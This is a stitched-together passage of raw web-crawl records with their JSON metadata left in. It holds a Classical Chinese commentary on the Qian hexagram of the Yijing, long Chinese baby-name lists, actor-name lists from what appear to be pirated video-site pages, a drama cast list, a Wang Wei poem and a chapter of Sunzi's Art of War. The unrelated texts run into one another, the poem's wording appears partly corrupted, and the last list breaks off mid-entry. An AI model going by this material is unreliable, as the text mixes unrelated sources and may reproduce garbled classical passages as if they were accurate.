之義為和而正可知矣利貞義為情復於性則元亨之義為性見乎情可知矣一陰一陽一始一終相與循環莫可窮也於是又搃而言之曰乾始能以美利利天下不言所利大矣哉始者元也美者亨也利者利也不言者貞也使之正各性命而巳何利之可言哉若坤之牝馬屯之建侯則可得而言之矣凡此皆一元之用也故歎之曰大矣哉大者元也元之大乃乾之所以為大也故又曰大哉乾乎剛健中正純粹乾之合也故曰精也六爻發揮旁通者乾之散也故曰情也言精則知六爻之為粗言情則知純粹之為性故言曰元亨利而又曰貞也乾為天爻不言天而時乘六龍者以御天也天无六子之用則其穹隆而覆者有時而息矣雷以動之風以散之雨以潤之日以烜之艮以止之兌以說之然後元亨利貞可得而見矣故曰雲行雨施天下平也獨言雲雨者舉陽以該陰舉中以該上下而坎也者陰中之陽也陰陽和故雲行而雨施也或曰龍以喻為陽氣也曰坎曰艮其以類也又安兼乎三女而言之應之曰甚矣子之不達也夫三子者豈能以獨陽而生物者哉\n君子以成德為行日可見之行也潛之為言也隱而未見行而未成是以君子弗用也\n黙而成之謂之行夫微之顯誠之不可揜故君子之道闇然而日章也其在初九微而未能顯闇而未能章故謂之潛潛者言其隱而未見行而未成是以君子弗用也及夫顯而章則天下文明矣而可以弗用乎哉\n君子學以聚之問以辨之寛以居之仁以行之易曰見龍在田利見大人君德也\n學以畜德謂之聚問以析疑謂之辨寛以處已謂之居仁以善世謂之行有是四者君德見矣\n九三重剛而不中上不在天下不在田故乾乾因其時而惕雖危无咎矣\n重剛則健不中則險以健行險上下无據苟非乾乾夕惕安能免於咎乎\n九曰重剛而不中上不在天下不在田中不在人九四與三俱為人位而子曰中不在人何也曰人位乎中尊天而親地四巳離之矣離乎人而未至乎天其變化所在不可得而知之矣故曰或躍在淵或之者疑之也見其將升則疑其躍見其无迹則疑其在淵搏之而不可得也從之而不及也瞻之在前忽焉在後君子之德業變化如此夫何咎之有哉\n大人者與天地合其德與日月合其明與四時合其序與鬼神合其吉凶先天而天弗違後天而奉天時天且弗違而况於人乎况於鬼神乎\n天地日月四時鬼神皆陰陽之義也大人與之合亦陰陽之義而巳矣九者天之數而大人之德也五者天之位而大人之時也以其德而應其數以其時而當其位則大人者與天孰為先後也其先天乎天弗之違矣其後天乎奉天之時矣天之遠而尊也猶莫之能違也而况於人乎安能違之而弗從况於鬼神乎安能違之而弗助是以飛而在天无不利也故曰天也故謂聖人成能人謀鬼謀百姓與能斯之謂也\n亢之為言也知進而不知退知存而不知亡知得而不知喪其惟聖人乎知進退存亡而不失其正者其惟聖人乎\n知進不知退知存不知亡知得不知喪此九之所以存於上至於喪而亡之也其惟聖人乎知有進必有退有存必有亡故覩存亡進退之幾有以用之而不失剛柔之正是以天下治安享國久長而无危亂之事非聖人而能之乎故又曰其惟聖人乎甚之辭也","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.eee-learning.com\/book\/5424","date":"2019-02-17T14:02:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481994.42\/warc\/CC-MAIN-20190217132048-20190217154048-00440.warc.gz","language":"lzh","language_score":0.4093910158,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.40939101576805115, \"cmn_Hani_score\": 0.38480690121650696, \"nan_Hani_score\": 0.06599793583154678, \"wuu_Hani_score\": 0.020300185307860374, \"zxx_Latn_score\": 0.01759958826005459, \"jpn_Jpan_score\": 0.013865298591554165, \"yue_Hani_score\": 0.013704932294785976, \"und_Tang_score\": 0.010860172100365162}","num_words":56,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.106,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.408,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n奚保新 奚和 奚禾 奚慧平 奚延华 奚安峰 奚道超 奚嘉琦 奚明兴 奚雪峰 奚新宽 奚亭 奚秀珍 奚增虎 奚增江 奚增楠 奚旖旎 奚嘉婕 奚秀华 奚波 奚秀鸣 奚晨钰 奚海洲 奚保国 奚潇楠 奚英涛 奚新 奚秀云 奚炜皓 奚炜翔 奚煜翔 奚薪曜 奚佳涵 奚张涵 奚十 奚一一 奚红昌 奚梓铮 奚雪岚 奚林镤 奚一镤 奚镤 奚梓镤 奚梓铺 奚梓铭 奚自铭 奚子铭 奚铭一 奚萱铭 奚铭萱 奚茁铭 奚若培 奚讯 奚敏捷 奚宗云 奚德利 奚圣懂 奚晓鹏 奚沐铭 奚林斐 奚霖菲 奚招诚 奚劲略 奚硕 奚英壕 奚硕研 奚楸涛 奚绍晟 奚绍澄 奚绍忱 奚名君 奚绍琛 奚绍尘 奚绍铖 奚绍承 奚绍丞 奚绍臣 奚绍辰 奚绍城 奚绍成 奚绍晨 奚晓驷 奚纬 奚玉平 奚曦 奚国正 奚梅珍 奚永洪 奚天啸 奚天祥 奚子轩 奚海华 奚兆来 奚天澍 奚亦安 奚绍诚 奚家欢 奚召诚 奚蔡子 奚佳欢 奚添煜 奚宾 奚楠华 奚艳雯 奚逸雯 奚铭荣 奚琬旖 奚叶海 奚钏姿 奚蓓嫱 奚惠佳 奚惠嘉 奚佳彗 奚沫羽 奚沫钰 奚茜慧 奚袅雯 奚俪慧 奚嘉慧 奚佳惠 奚慧嘉 奚茄慧 奚嘉蕙 奚嘉惠 奚慧佳 奚佳蕙 奚佳薇 奚佳慧 奚煜涵 奚圣雯 奚会淇 奚会漪 奚煜漪 奚圣漪 奚姿漪 奚锦月 奚津越 奚湘惠 奚道波 奚博平 奚瑜 奚姝忱 奚姝沁 奚晨 奚莱龄 奚梦寒 奚俪维 奚天择 奚绘金 奚卿 奚子滟 奚子晏 奚子炎 奚小木 奚海蓦 奚文甲 奚一力 奚一星 奚小宇 奚振宇 奚轩沱 奚萧童 奚伟波 奚宜俊 奚凯明 奚凯民 奚原 奚绍项 奚洪刚 奚新协 奚洪江 奚红江 奚加雁 奚晨希 奚晨曦 奚晨茜 奚一蓓 奚晨西 奚绍和 奚绍滨 奚锐滟 奚春勇 奚跃枫 奚语罄 奚跃彬 奚勇德 奚岑坡 奚向阳 奚正君 奚晨茗 奚雪雅 奚北 奚从茜 奚如溪 奚国华 奚蓓蕾 奚禹廉 奚美新 奚建峰 奚建治 奚兴意 奚帆 奚菡 奚瀚 奚华群 奚国平 奚菁阳 奚文斌 奚霖 奚一霖 奚一亭 奚竞杰 奚一雄 奚林铭 奚楷锋 奚若铭 奚湘帆 奚钊桐 奚铁松 奚建怀 奚节约 奚天路 奚亚敏 奚嘉伟 奚天淦 奚天灏 奚天博 奚天予 奚天豫 奚天络 奚渝茜 奚彩鑫 奚华荣 奚添麒 奚子麒 奚海涛 奚晓冰 奚小冰 奚小鹏 奚天麒 奚剑 奚强 奚逸鸣 奚小溪 奚志辉 奚志会 奚志慧 奚玉泽 奚子静 奚贤基 奚兆敏 奚文铁 奚聿泽 奚金栋 奚栋 奚元春 奚亚坤 奚自林 奚林放 奚彦君 奚彦军 奚彦斌 奚崇源 奚锦沅 奚景汶 奚景云 奚钦 奚北辰 奚霖霖 奚智慧 奚嘉遥 奚林豪 奚林钊 奚林昊 奚金昊 奚落 奚鲡 奚羁 奚仁浩 奚霖一 奚林飞 奚霖昊 奚伽 奚子炫 奚一轲 奚建华 奚妮妮 奚昵昵 奚天阳 奚晓锋 奚天杨 奚自轩 奚玟皓 奚海皓 奚若轩 奚之轩 奚利锋 奚宇日 奚钥 奚子亦","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/zgyjzz.cn\/show_46A.aspx","date":"2019-05-27T10:27:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232262311.80\/warc\/CC-MAIN-20190527085702-20190527111702-00294.warc.gz","language":"lzh","language_score":0.8715307117,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.8715307116508484, \"nan_Hani_score\": 0.05776721611618996, \"cmn_Hani_score\": 0.028952201828360558, \"wuu_Hani_score\": 0.013981889933347702}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.261,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.873,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n王浩信 張振朗 馮盈盈 高海寧 石修 姜大衛 賴慰玲 蔣家旻 傅嘉莉 林宣妤 朱敏瀚 徐榮 許家傑 陳志健 湯怡 李成昌 蔡國慶 吳瑞庭 鄭詠謙 莫家淦 容天佑 張武孝 鬼塚 楊證樺 湯俊明 唐嘉麟 區軒瑋 陳家良 吳子衝 邵展鵬 陳狄克 秦煌 彭懷安 司徒暉 李漫芬 梁證嘉 阮政峯 吳嘉儀 梁雯蔚 彭翔翎 周麗欣 袁鎮業 余子明 林浩文 張漢斌 張本立 林敬剛 沈愛琳 莫偉文 於洋 關婉珊 羅鴻\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E9%84%AD%E8%A9%A0%E8%AC%99------------.html","date":"2020-09-26T08:55:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400238038.76\/warc\/CC-MAIN-20200926071311-20200926101311-00552.warc.gz","language":"lzh","language_score":0.7766147852,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.776614785194397, \"cmn_Hani_score\": 0.15467789769172668, \"nan_Hani_score\": 0.06195442005991936}","num_words":259,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.806,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n黃智賢 關禮傑 王君馨 麥明詩 黎振燁\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E9%BB%8E%E6%8C%AF%E7%87%81------------.html","date":"2020-09-21T15:46:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400201826.20\/warc\/CC-MAIN-20200921143722-20200921173722-00040.warc.gz","language":"lzh","language_score":0.520000875,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5200008749961853, \"cmn_Hani_score\": 0.41141706705093384, \"nan_Hani_score\": 0.060725193470716476}","num_words":122,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.619,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n胡杏兒 傅穎 吳家麗 吳千語 沈卓盈 陸詩韻 何佩瑜 栢天男 曾樂彤 朱柏康 陳逸寧 張沛樂 黃錦燊 黃愷傑 劉浩龍 孫佳君 吳文忻 彭敬慈 蔡宛珊 黎澤恩 陳鬱憲 馬溱禧 張松枝 楊天宇 朱鑑然\n何啓華 胡希文 李麗珍 陳炳銓 袁富華 廖碧兒 郭嘉駿 陳國邦 駱振偉 陳凱詠 徐肇平 黃奕晨 陳安立 梁業 盧覓雪 劉錫賢 李駿傑 王頌茵 邱士縉 陳鬱憲 譚凱倫 練美娟 杜小喬 呂爵安 黃劍文 岑樂怡 黃華和 李建邦 鄧汝超 李昭南 吳保錡 唐浩然 姚琰欣 梁嘉進 詹朗林 蔡寶欣 蓋世寶 沈殷怡 許博文 劉美君 劉展翹 李爾晨 吳浣儀 梁健平 虞逸峯 謝安琪 李敏 魯文傑 張嘉琪 麥長青 葉蘊儀 張慧儀 譚小環 麥詠楠 易健兒 麥欣童 英健朗 趙學而 楊瑞麟 周漢寧 甘國衛 麥可怡\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/nonovod.com\/search\/-%E9%99%B3%E9%AC%B1%E6%86%B2------------.html","date":"2020-10-28T17:37:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107900200.97\/warc\/CC-MAIN-20201028162226-20201028192226-00422.warc.gz","language":"lzh","language_score":0.4647524655,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4647524654865265, \"cmn_Hani_score\": 0.442283570766449, \"nan_Hani_score\": 0.07040592283010483, \"yue_Hani_score\": 0.020308982580900192}","num_words":90,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.587,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n陸劇《女醫明妃傳》由劉詩詩 霍建華 黃軒 李呈媛 袁文康 金晨 吳磊 何音 何晴 劉立偉 王春元 朱虹 於莎莎 王新民 王麗媛 張雷 張柏俊 鄧立民 呂梁 方子春 顧艷 盧森堡 張皓然 譚歆柔 李超 左金珠 馬湘宜 易凝 胡冰卿 馮麗麗 徐曉璐 公方敏 常晉 李瑋珽 彭豆豆 陳欣予 張逸傑 張籽沐 崔可法 屈剛 徐鵬凱 陸梅芳 曲哲明 韓振華 盛朗熙 陸媛媛 陽光 項瑾 金龍 周彥呈 姬曉飛 侯俊龍 於永海 李昱孚 樓蕓昊 武澤錦熙 胡順兒 夏子瑜 王豹 等主演,李國立 鄭偉文 盧澤良 執導。","id":"","dump":"CC-MAIN-2021-10","url":"https:\/\/itv8.tv\/show\/54770.html","date":"2021-02-26T20:55:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-10\/segments\/1614178357984.22\/warc\/CC-MAIN-20210226205107-20210226235107-00318.warc.gz","language":"lzh","language_score":0.8581141233,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8581141233444214, \"nan_Hani_score\": 0.11629736423492432, \"cmn_Hani_score\": 0.024160251021385193}","num_words":64,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.866,"perplexity_score":500.0,"cluster_detection":1} +{"text":"朝代:唐朝 作者:王维 南山之瀑水兮,暴石滈瀑似雷怒,人比较兮不言语声。翻涡跳沫兮苍苔湿,藓老且薄,春草为之不生。兽不肯激怒,鸟不肯飞鸣。红鼋涡涛戏濑兮,委身以交错。\n王人之仁兮,不网不钓,得欲性以分解。","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.kuyuezu.com\/product\/1844.html","date":"2021-10-21T11:50:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585405.74\/warc\/CC-MAIN-20211021102435-20211021132435-00168.warc.gz","language":"lzh","language_score":0.5417739749,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5417739748954773, \"cmn_Hani_score\": 0.33929598331451416, \"yue_Hani_score\": 0.05621882900595665, \"nan_Hani_score\": 0.028936205431818962, \"wuu_Hani_score\": 0.01943977177143097, \"jpn_Jpan_score\": 0.013245717622339725}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.371,"perplexity_score":500.0,"cluster_detection":1} +{"text":"原文\n孫子曰:昔之善戰者,先為不可勝,以待敵之可勝。不可勝在己,可勝在敵。故善戰者,能為不可勝,不能使敵之可勝。故曰:勝可知而不可為。\n不可勝者,守也;可勝者,攻也。守則不足,攻則有余。善守者,藏於九地之下;善攻者,動於九天之上。故能自保而全勝也。\n見勝不過眾人之所知,非善之善者也;戰勝而天下曰善,非善之善者也。故舉秋毫不為多力,見日月不為明目,聞雷霆不為聰耳。古之所謂善戰者,勝于易勝者也。故善戰者之勝也,無智名,無勇功。故其戰勝不忒。不忒者,其所措必勝,勝已敗者也。故善戰者,立於不敗之地,而不失敵之敗也。是故勝兵先勝而後求戰,敗兵先戰而後求勝。善用兵者,修道而保法,故能為勝敗之政。\n兵法:一曰度,二曰量,三曰數,四曰稱,五曰勝。地生度,度生量,量生數,數生稱,稱生勝。故勝兵若以鎰稱銖,敗兵若以銖稱鎰。勝者之戰民也,若決積水于千仞之溪者,形也。","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sosolearningtogether.com\/the-art-of-war-4th\/","date":"2022-01-20T23:47:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320302706.62\/warc\/CC-MAIN-20220120220649-20220121010649-00224.warc.gz","language":"lzh","language_score":0.5042048693,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5042048692703247, \"cmn_Hani_score\": 0.4414421617984772, \"nan_Hani_score\": 0.02223115973174572, \"wuu_Hani_score\": 0.016548490151762962}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.475,"perplexity_score":500.0,"cluster_detection":1} +{"text":"很多家长担心自己给女宝宝起名字怕影响孩子的一生,在起名的时候都是找一些所谓的起名专家,其实对于一个名字来说只是我们的一个称呼,只要是好听、大气,女孩的名字也有内涵,这样的名字才是一个好名字。\n宋汝怡 宋亚茹 宋姝洁 宋禹冉 宋雨怡 宋德玉 宋晚雪 宋鑫洁 宋芳娜 宋娅萱 宋润妍 宋语冉 宋珩艳 宋文琳 宋守瑛 宋修丽 宋柳燕 宋达萍 宋怡菽宋羽冉 宋彦霞 宋锦怡 宋四英 宋延玲 宋真娜 宋宛玲 宋宇倩 宋婧依 宋钰悦 宋燕庭 宋紫燕 宋罗婷 宋蓉芬 宋彩琳 宋语婧 宋清怡 宋承燕 宋琪文 宋红娜宋秀怡 宋行文 宋青文 宋沁文 宋荷琴 宋银霞 宋尧燕 宋果怡 宋凤英 宋士英 宋养蓉 宋媛雅 宋靓怡 宋其霞 宋媛钰 宋彦芬 宋梓妍 宋燕宁 宋仰蓉 宋祖梅宋婧宜 宋芷文 宋钰媛 宋淑娜 宋晓媛 宋建莉 宋舒婷 宋景莉 宋惠莹 宋泉颖 宋觅洁 宋瑛瑛 宋莉颖 宋娅佟 宋琴飞 宋光玲 宋逸雪 宋和文 宋双颖 宋思悦宋环玉 宋毅红 宋燕红 宋静芳 宋至花 宋咏洁 宋昕洁 宋沛霞 宋思茹 宋娅桐 宋梓丽 宋若文 宋迎洁 宋惠芬 宋楚怡 宋彦燕 宋小娟 宋娅彤 宋保妹 宋柏莹宋迎娜 宋述美 宋昕妍 宋彦艳 宋时琳 宋宝妹 宋柏瑶 宋慧娜 宋惠萍 宋昕燕 宋映冉 宋百玲 宋依玲 宋淑婷 宋柏妍 宋盈颖 宋婧銮 宋昕美 宋映悦 宋佰玲宋宇丽 宋姝蓉 宋紫霞 宋顺燕 宋婧钗 宋静文 宋映霞 宋运芳 宋筠茹 宋悦骞 宋蓉鸣 宋雪茹 宋婧镝 宋教玉 宋卓悦 宋薇霞 宋毛娟 宋汝倩 宋兰英 宋修梅宋婧镭 宋嘉颖 宋华芬 宋伟霞 宋唯红 宋钥倩 宋雪琴 宋小琴 宋映梅 宋奎霞 宋宇洁 宋海悦 宋蔼颖 宋悦倩 宋梦媛 宋绣文 宋昭蓉 宋彦娟 宋泽雪 宋青悦宋宜婷 宋好文 宋玉蓉 宋蓥莹 宋西文 宋芯瑶 宋泽美 宋华梅 宋韵茹 宋芷妍 宋新玲 宋天玲 宋梦雪 宋吉花 宋远文 宋本艳 宋秀舟 宋成梅 宋梅红 宋翔玉宋昱蓉 宋莹岭 宋鹏娟 宋艺玲 宋艺婷 宋宝琳 宋婧龄 宋兆悦 宋隆文 宋小芳 宋锦红 宋兆颖\n本文链接:宋姓女孩起名","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/www.lzqwc.com\/unm\/15665.html","date":"2019-09-21T21:14:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574665.79\/warc\/CC-MAIN-20190921211246-20190921233246-00008.warc.gz","language":"lzh","language_score":0.9629836679,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.9629836678504944, \"cmn_Hani_score\": 0.022297656163573265}","num_words":184,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.968,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ng)姓源流单纯,宗政帜颖 宗政憬嫣 宗政秀淅 宗政莺璎 宗政枵雪 宗政桃娥 宗政莹磊 宗政弼颖 宗政罗梅 宗政夷芳 宗政萧莎 宗政娟轲 宗政燕明 宗政葩燕 宗政镁颖 宗政瑛婵 宗政婵畅 宗政均妍 宗政浦英 宗政悦蔺 宗政绒萍 宗政玢婧 宗政悦诺 宗政蝶嫣 宗政椋芳 宗政昔萍 宗政阕燕 宗政莼梅 宗政俐媛 宗政蓉疆 宗政铨霞 宗政启丸 宗政倩年 宗政娣娥 宗政羿燕 宗政增尉 宗政盛娥 宗政庸文 宗政怡乜 宗政炅倩 宗政再玲 宗政阔燕 宗政颂婷 宗政婷娅 宗政幼婧 宗政怡裳 宗政娜龄 宗政莹绿 宗政溪婵 宗政燕僮 宗政雍英 宗政纭婧 宗政姣庞 宗政掷玲 宗政茂瑶 宗政婷於 宗政莎霞 宗政更贵 宗政琳荟 宗政子玉 宗政怡南 宗政艳红 宗政浍芬 宗政真莎 宗政曾妍 宗政孔娟 宗政禄颖 宗政瑛吣 宗政倚艳 宗政道茹 宗政聃妍 宗政现娥 宗政霭莹 宗政琼镌 宗政赢萍 宗政娅弗 宗政逸玉 宗政柿冉 宗政骥倩 宗政嫣稣 宗政怡鹃 宗政效艳 宗政菁美 宗政壹玲 宗政悦擎 宗政筠喜 宗政翕媛 宗政琳评 宗政娅慧 宗政理妹 宗政十琼 宗政盈红 宗政涉美 宗政琳熔 宗政娜燃 宗政瑶耀 宗政帼洁 宗政睨婷 宗政菡霞 宗政悦翰 宗政瑶淋 宗政莹苡 宗政必琼 宗政馥玉 宗政娅颦 宗政桌红 宗政驭婵 宗政蒴媛 宗政琳校 宗政巾丽 宗政笏琳 宗政镜娟 宗政鹰梅 宗政世莹 宗政倩垭 宗政胡悦 宗政代琳 宗政诒芳 宗政勤妹 宗政铿青 宗政妍跖 宗政函娅 宗政沭芬 宗政仰蓉 宗政妹梦 宗政萍涵 宗政珊艳 宗政校洁 宗政玲朵 宗政施梅 宗政菲谭 宗政湛蓉 宗政裴天 宗政娅玄 宗政芦芬 宗政萍颜 宗政九茹 宗政秦玲 宗政麦莹 宗政微娅 宗政皎雪 宗政变红 宗政护燕 宗政慕玉 宗政涔莹 宗政茹臆 宗政卞有 宗政萏莉 宗政秀戌 宗政列丽 宗政茹犀 宗政隹冉 宗政藜蓉 宗政燕苘 宗政蚪文 宗政山莹 宗政汀文 宗政婷栩 宗政任怡 宗政智红 宗政元英 宗政殷茹 宗政临霞 宗政倩中 宗政萦玲 宗政弈媛 宗政婧讳 宗政怡锶 宗政瑶婧 宗政槟琳 宗政晏婷 宗政临莉 宗政著芳 宗政琳均 宗政续媛 宗政媛俜 宗政忱悦 宗政翦美 宗政秋琼 宗政翠霞 宗政森裴 宗政昆玲 宗政悦送 宗政莹瑟 宗政婷捷 宗政钒颖 宗政芙珊 宗政婷铷 宗政宾丽 宗政羿红 宗政谦蓉 宗政助碧 宗政涧霞 宗政穗蓉 宗政雄銮 宗政婧琨 宗政茹井 宗政尤燕 宗政娈婧 宗政瑛浈 宗政怡嚎 宗政裴铄 宗政点红 宗政汉嘉 宗政乾娜 宗政铭玉 宗政媪娥 宗政瑛穗 宗政乾妹 宗政洋晶 宗政芬娥 宗政格萍 宗政琴贻 宗政芫莉 宗政彭英 宗政覃琼 宗政乡梅 宗政魅文 宗政瑶翩 宗政迈倩 宗政悦洙 宗政峻梅 宗政妙艳 宗政怡惋 宗政琴榆 宗政沓倩 宗政妍水 宗政莉嬉 宗政党霞 宗政郦琳 宗政贞美 宗政麓倩 宗政满葳 宗政燕涎 宗政泯娜 宗政肴秀 宗政玷玲 宗政璨芳 宗政悦宾 宗政卿冉 宗政薰悦 宗政倩滢 宗政艳花 宗政琳邦 宗政莹迎 宗政吉风 宗政樊悦 宗政娇嫣 宗政耔嫣 宗政隹雪 宗政鸾玲 宗政锣亚 宗政峪婧 宗政婧腾 宗政艺红 宗政淘丽 宗政畋萍 宗政棕莉 宗政燕苑 宗政琳刚 宗政秋芳 宗政楼英 宗政锶瑶 宗政迈霞 宗政重颖 宗政芬然 宗政妍宝 宗政雀萍 宗政乾丽 宗政瑶岭 宗政莉强 宗政雅禹 宗政亦婵 宗政矢婷 宗政笕萍 宗政蓉柳 宗政有谨 宗政悦磬 宗政鹃萧 宗政荐颖 宗政廉萍 宗政畅英 宗政莹爰 宗政坦丽 宗政裴一 宗政跃媛 宗政芸谱 宗政姣婵 宗政园婧 宗政敦国 宗政莹芊 宗政留娟 宗政茹汝 宗政怡电 宗政雅婷 宗政豫娜 宗政悦鸣 宗政窦祺 